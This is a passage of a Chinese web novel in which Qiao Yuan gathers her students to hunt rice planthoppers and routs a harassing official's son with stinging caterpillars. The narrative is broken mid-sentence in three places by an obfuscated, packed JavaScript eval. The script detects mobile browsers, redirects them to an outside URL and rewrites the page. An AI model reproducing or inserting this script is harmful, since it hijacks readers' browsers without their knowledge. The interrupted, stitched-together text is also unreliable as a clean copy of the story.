李绒眼眸闪亮地看着乔元，在她眼里，乔元实在太过伟岸。她轻声道：“师傅，你家中刚失了火，接着又要忙县衙买扑的事儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15110344|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你已经为我做了许多事情，这点小事，实在不能再麻烦你。” 十四岁的小姑娘，从嫁人，被退亲，再到无家可归。这些本不该是她这个年纪应该经历的。李绒向来能忍，她嘴上说的轻巧，只怕不知道在家里受了多少折辱。 乔元闭眼叹息一声，“傻姑娘，你该早些来告诉我。” 李绒闻言，扬起笑脸，“师傅你瞧，我在这儿也能住得好好的。你是不知道，她们都羡慕我能住在这儿呢。” 说完，她对着乔元做了个很是骄傲的表情。 “李绒，在我面前你不必这般逞强。”乔元平静地张开手臂。 小姑娘强撑起来的笑意眨眼就碎落满地，星点泪光盈盈在她眼眸中，李绒吸吸鼻子用力扑入乔元怀中，“呜呜呜呜呜，师傅——” 哭声一直过了半刻钟才停歇，小小的身体里，像是有流不尽的眼泪。乔元轻拍她的背，日子已经这样艰难了，她还是努力昂扬向上。这样的姑娘，合该过上好日子才是。 哄好李绒，又问了她问讯处这些时日发生的事。二人说了好一会儿的话，学生们才陆陆续续到了问讯处。 每一个人见着乔元，都惊喜道：“乔先生，你回来了！” 李琴娘更是上来就抱着她的臂膀不撒手，爽利地笑声响彻整个问讯处。 同大家寒暄过后，乔元站在最上头道：“算算时间，我们本该进行首月测验。但如今南方饱受水患之苦，稻米尽数枯死，我受人所托，要在一周内制出对应的农药来。今日我站在此地，想请大家帮我一个忙。” “乔先生，你这是哪里的话，有什么吩咐直接说便是。” “是呀，若不是先生，我们哪里能坐在这里读书习字。” “既然是水患的事情，那里说得上帮不帮的，姑娘直言就是。” 下面接连响起姑娘们的说话声。 乔元扫过下头一双双干净又纯粹的眼眸，将话说了出来，“我想请诸位，帮我寻到图画上的飞虱。” 113. 伊始（一） “谁？”李琴娘第一个回身看去。 身材如斗的几个男人绕过屏风站在姑娘们面前，为首的男人故作清高地晃了晃手中的扇子，“诸位姑娘，小生这厢有礼了。” “不知公子是？”李琴娘回头看了一眼乔元的脸色，在得到她首肯后问到。 男人晃着扇子不答，倒是他身后跟着的二人中，有人道：“你们面前这位，可是赵衙内。” 姑娘们面面相觑，显然是没听说过他的名号。 被称为赵衙内的男人挂着个脸，有些下不来台，倒是李琴娘一番思索后道：“可是朗县的赵衙内？” 朗县是比金台县小上许多的隔壁县城。 “正是在下。”赵衙内见有人认出他，高兴地连拿扇子在手中敲打。“方才在街边见着姑娘们往此处来，很是热闹。正巧我们几个也来此用饭，不若拼上一桌？” “用不着，我们这处已经满了。”李琴娘毫不客气地回绝。 “姑娘这是哪里的话。”话说一半，赵衙内忽然上下打量李琴娘，拍手道：“我说瞧得眼熟，这不是天香楼的琴娘吗！” 他这么一说，后头两个跟班当即很是露骨地扫了李琴娘一眼，“正是，正是。” 当着同窗的面被人调笑，李琴娘面色一白，尖利的嘴哑了火。 乔元看出她的异样，眉头一皱刚要说话，就听得他们邪笑道：“既然琴娘在此处，那在座的岂不都是……” 以为都是天香楼里的姑娘，赵衙内的胆子更大了些，“满了也无妨，我同姑娘挨着一块儿坐就是了。” 说完，他直接往靠屏风那处姑娘的腿上坐去。 “啊——！”瘦弱的小丫头直接跳了起来，瑟瑟缩到乔元身边。 见姑娘们都往乔元这处跑，赵衙内同身后几人笑笑道：“瞧瞧，害羞了。”他随手拈了姑娘们还未喝完的茶，送入嘴中，舔舌回味道：“香。” 扇子再度被打开，腻人的气味飘散出来，赵衙内看向乔元道：“开个价罢。” 所有人的目光不约而同地看向坐在主位的乔元。乔元抬眸有些不耐道：“衙内莫不以为我们都是天香楼的姑娘？” “不然还能是什么高档货色？”赵衙内倨傲道：“我也不同你绕这些虚弯子了，赶紧地让几个姑娘上来陪我。” 他身后的跟班起哄道：“若是讨得我们衙内高兴，今日这几桌席面替你们包了也是有的。” 赵衙内也跟着笑，显然对这样的说辞满意至极。 难得遇上这样的蠢东西，乔元想拿身份压人的想法忽然一转。 这或许是个难得的机会。 乔元偏头在李绒耳边说了什么。李绒原本气鼓鼓的脸登时露出笑容，她冲乔元眨巴几下眼睛，拉着一旁的几个姑娘就往外走去。 “别走啊。”赵衙内起身就想去抓李绒，还没碰到她的衣角，就被飞来的筷子打到了手。 “哎呦——”屋内登时响起杀猪般的嚎叫。赵衙内捂着手，面露狠厉道：“谁，是谁？！” 见梁缨不动神色地将手里的筷子握紧，乔元笑道：“衙内莫急，我不过让人去为衙内准备一份大礼罢了。” 赵衙内抓不到人，心头憋着一团火。听到乔元这般说，他虽下了几分火气，但还是有些不满道：“那还不快些叫姑娘来陪我。” “不急。”乔元笑道：“你既说你是衙内，口说无凭，总得叫我们见见真章罢？” “怎的，这是瞧不起我们衙内了？”两个跟班在后头笑的前俯后仰。不过是些天香楼的姑娘，也不知道在嚣张些什么。 赵衙内听着下头跟班的笑声，忽而觉得很是刺耳，他上去一人给了一脚，“还笑，还笑！” 两个跟班被踢到地上，一时间诺诺不敢出言。 赵衙内这才有些满意道：“你要瞧什么真章，我这人难道还有假不成。” 乔元摇摇头，冲他比了个银子的手势，“自然是这个真章了。” 赵衙内往后一仰，露出果然如此的表情，“我当有多矜贵呢，果然是天香楼出来的，只知道要些银钱。” 方才被跟班这么一笑，他像是要极力证明自己似的，从怀里丢出了一个钱袋，“拿去罢，够你们买好些脂粉了。” 乔元接过之后，顺手递到李琴娘手里。“衙内好生大方，那便多谢衙内了。” 手里的钱袋重得不像话，李琴娘眼睛瞪得老大。 不是……这就要到钱了？乔元这手段，怎的她们天香楼的姑娘还要熟练些。 女学的姑娘们看着乔元的眼神，从方才的害怕逐渐成了震惊。 不愧是乔先生！办法就是多！ 只有邱月坐在最里头，用帕子掩唇，眼眸里透着满满的厌恶。这样的人，如何需要同他周旋，直接唤了差役来打发不就完了。 赵衙内感受到姑娘们对他眼神的变化，以为是银钱起了作用，他眯眼道：“行了，银钱也拿到了，快来陪爷喝两盅。” 乔元起身，端了杯茶起身，“既如此，那我以茶代酒，先敬衙内一杯了。” 赵衙内不满道：“怎的喝茶，快快来将酒满上。” 乔元指尖一下下点着桌面，“衙内有所不知，这喝酒，又是另外的价钱。” 钱，又是钱。 方才就因为钱丢了一回面子，赵衙内索性将怀里的东西都掏了出来，从里头摘了块玉佩过来，“拿去，我今日将话放在这儿了，你们若是能把爷陪得舒舒服服的，今儿这些东西就都归你们了。” 乔元麻利地把玉佩收到手里交给李琴娘，冲姑娘们挤眉弄眼道：“衙内这般客气，大家可不要好好谢谢他。” 当即，姑娘们带笑的谢声，在屋内此起彼伏。 一旁的李琴娘隐约猜到了乔元要做什么，她同乔元对视一眼，径直从一旁的架子上开了一坛酒，上前给赵衙内满上。“衙内如此英姿，快快喝上一杯才是。” 说完，她拿起酒杯就劝赵衙内先喝上一口。 赵衙内自是受用，直接满饮一杯。一杯过后，乔元笑道：“衙内既如此豪爽，来来来，让我再敬衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15124446|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内一杯。” 李琴娘见状，又给他满上一杯酒，直接往他嘴里灌。 连着两杯下肚，赵衙内已然有些头晕，但他还没蠢到那等地步，他拉了脸道：“行了，先来让小爷我摸两下才是正理。” 说完，他抬手就想捞一旁的李琴娘。 李琴娘是在风月场里过惯了的，又岂是他能摸到。 赵衙内刚一抬手，又被筷子砸了一下。手上一阵抽痛，他直接砸了手里的酒杯，猛地沉了脸道：“一群臭娘们，我看你们是敬酒不吃吃罚酒了！” 余光瞥见猫着腰从楼梯上来的李绒等人，乔元也没了心情同他周旋，直接将手里的茶往桌上一掷，“凭你也配？李绒！” 说时迟那时快，一兜黑青色的‘洋辣子’从天而降，直接落在赵衙内三人的身上。 “啊——什么东西！！！” “虫！！！是虫！！！” “救命——救命啊——” 三人被突然出现在身上的‘洋辣子’吓得连滚带爬，一个个身形扭曲成极为诡异的形状。 ‘洋辣子’身上长满细密的毒毛，一旦接触到皮肤，就会引发强烈的刺痛和瘙痒感。李绒她们桌来的‘洋辣子’又大又黑，受惊后，上头的毒毛没一会儿就扎入了他们三人裸露的皮肤里，针扎一般细密的疼痛让赵衙内三人登时冷汗涔涔。 李绒同后头几个姑娘笑得前俯后仰，她凑近道：“蠢货，这可是本姑娘特意为你们挑的刺蛾幼虫，怎么样，可还满意？” 赵衙内此刻满脸充血，双手的皮肤上红肿一片，起了好几个大包，他如今浑身又痛又痒，只觉得难受的快要死了。 他的两个跟班则是在地上疼地打滚，一阵阵鬼哭狼嚎，丝毫顾不上地上还爬着不少‘洋辣子’。 见到他们如此丑态，余下的姑娘们也笑得直不起腰来。 “乔先生，这便是你的计划？”有姑娘笑着问道。 乔元点头道：“如今你们脑中有学识，手里有手段，莫要再同从前一般怕这些烂人。往后若是再遇上，只要不伤到自己，用什么方法都不为过。” 女学的姑娘们出身太低，纵然如今学了不少东西，但总觉得自己低人一等，遇事总想着退让。往后她万一不在，怕是得被欺负死。 姑娘家若是想同男人相争，有点锋芒，自是应当。 “你们且记住，错不在我们，无须退让。”最后一句话，乔元是朝着李琴娘说的。 她想，李琴娘应该明白她的意思。 为了生计入天香楼，从来不是她的错。 很快，这处的哭嚎声惊动了醉仙居的掌柜，掌柜的看见屋内的情形，爬了满地的‘洋辣子’实在叫人有些悚然，一时间也犹豫地不敢进来。 方才他们来闹事的时候，不见得有人替她们打抱不平。这才哭了这么一会儿，门口倒是围了不少看客。 眼看人越聚越多，乔元起身不欲多留，气势泠然道：“掌柜的，人你且带走。若是这赵衙内往后还有什么计较，叫他来找我说话！” 114. 稻飞虱（二） 稻飞虱同蚜虫不同，在中午到下午这段时间最为活跃。 趁着她们在树下讨论的功夫，乔元去租了几辆马车来。眼看着时辰差不多了，她拍手示意姑娘们将手里的刺蛾幼虫重新放回到树根底下。领着人上了马车，一路往万宝村的方向疾驰而去。 万宝村虽不种植稻谷，但里头田地又大又广，稻谷和小麦又同为禾属，这个时候去碰碰运气最合适不过。 刚至村口，入目就是一片绿色的海洋。 吩咐姑娘们先在车上别动，乔元率先下车去查看小麦的情况。 田地里的小麦已经抽出了饱满的麦穗，麦穗上的花朵开谢形成籽粒，也意味着麦子正式进入了灌浆期。 仔细查看了小麦的状态，乔元面上带笑放下心来。还好将蚜害赶在小麦拔节抽穗之前处理了，今年的收成应是没有受到很大影响。 来都来了，乔元又仔细查看了挂在一旁的黄板。 到了这个时候，黄板的作用已经微乎其微了。凭着职业本能，她仔细查看了黄板上沾着的昆虫，都是本土趋黄性的昆虫，诸如蓟马、粉虱一类。 金台县本就地处偏北，没有稻飞虱也在她意料之中。 重新上了车，乔元带着车队先去寻了丁广业。 丁广业一听是乔元到访，连鞋都来不及穿好，趿拉着就跑了出来，“乔姑娘，能得您大驾，当真是荣幸之至。” 买扑的事儿他第二天就听马则生说了，自然知道乔元是如何在公堂上大放异彩的。她如今既已经和贺公子签了契书，眼看着路越走越宽，丁广业哪里还敢拿乔。 “丁里正，我带人来你村中田地里寻些虫，劳烦你敬告父老乡亲一声。”乔元开门见山道。 丁广业一听，忙道：“这点事情哪里需要劳烦姑娘，不知乔姑娘想寻什么虫，我这就寻人来帮帮忙。” 乔元本想推脱不用，但架不住丁广业极为热情。她索性从怀里掏出她先头画的稻飞虱图画，“喏，就是上头的小虫。” 丁广业看了几眼，倒是个没见过的样式。 他斟酌着问道：“乔姑娘，您可能将这图先交由我，我让人多摹几张，好让人帮着找找。” “自然。”乔元颔首道。 从丁广业处出来，乔元直接带人去了田地。 而丁广业则进屋一把就将里头的丁彦给薅了起来，“快快，将这图画多摹上几张。画完就赶紧去寻那些个农户到村口集合，我有事要说。” 田隙阴凉处。 乔元同车夫定好两个时辰后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15146253|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接人，她将提前准备好的木盒交到每个姑娘手里，“四人一组，两个时辰以后，不管寻没寻到，都到此处来集合，可听清了？” “听清了。”下头响起姑娘们整齐划一的应声。 “行，且去罢。” 她话音一落，姑娘们像是放归的野马，一溜烟儿的就往田地间跑去。她们学着乔元的样子先仔细观察着附近的黄板，若是上头没有，便一丈宽为径，仔细查看麦穗上头有无稻飞虱。 每个人的分工都极为明确，倒是查看的极快。 稻飞虱喜欢湿润的环境，姑娘们大都也在水渠旁寻常。乔元看了几眼确认没什么问题，自己径直往深处走去。 女学里头的姑娘们都是苦出身，这点日头虽说烈了些，还算不上什么，但邱月就不同了。 晒了约莫小半个时辰，她脑门上已然全是汗，惨白着一张脸，在烈日下摇摇欲坠。 邱月吃过最大的苦也不过是在问讯处学学知识，摸摸虫子。今日真到了毫无荫蔽的田地里，娇养出来的身子自是无论如何也吃不消了。 她喘着粗气，扯了扯身旁人的袖子。还没等张口说话，眼前一黑，竟直接躺到了田地上。 “邱月——” 身旁自是一番兵荒马乱。